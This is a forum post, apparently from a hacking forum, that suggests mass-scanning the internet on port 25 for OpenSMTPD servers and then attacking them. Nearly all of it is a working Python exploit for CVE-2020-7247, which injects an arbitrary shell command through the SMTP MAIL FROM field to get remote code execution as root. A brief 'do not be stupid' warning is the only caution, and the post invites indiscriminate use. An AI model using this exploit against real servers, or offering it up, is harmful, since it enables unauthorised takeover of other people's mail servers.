- Apr 25, 2015
- 1,846
- 2
- 2,201
- 327
One could ZMap port 25, perhaps banner grab for OpenSMTPD, then smack all these.
Could be very dangerous, do not be stupid
Could be very dangerous, do not be stupid

Code:
# Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution
# Date: 2020-01-29
# Exploit Author: 1F98D
# Original Author: Qualys Security Advisory
# Vendor Homepage: https://www.opensmtpd.org/
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1
# Version: OpenSMTPD < 6.6.2
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2020-7247
# References:
# https://www.openwall.com/lists/oss-security/2020/01/28/3
#
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately
# escape dangerous characters from user-controlled input. An attacker
# can exploit this to execute arbitrary shell commands on the target.
#
#!/usr/local/bin/python3
from socket import *
import sys
if len(sys.argv) != 4:
print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0]))
print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
sys.exit(1)
ADDR = sys.argv[1]
PORT = int(sys.argv[2])
CMD = sys.argv[3]
s = socket(AF_INET, SOCK_STREAM)
s.connect((ADDR, PORT))
res = s.recv(1024)
if 'OpenSMTPD' not in str(res):
print('[!] No OpenSMTPD detected')
print('[!] Received {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] OpenSMTPD detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250' not in str(res):
print('[!] Error connecting, expected 250')
print('[!] Received: {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] Connected, sending payload')
s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8'))
res = s.recv(1024)
if '250' not in str(res):
print('[!] Error sending payload, expected 250')
print('[!] Received: {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')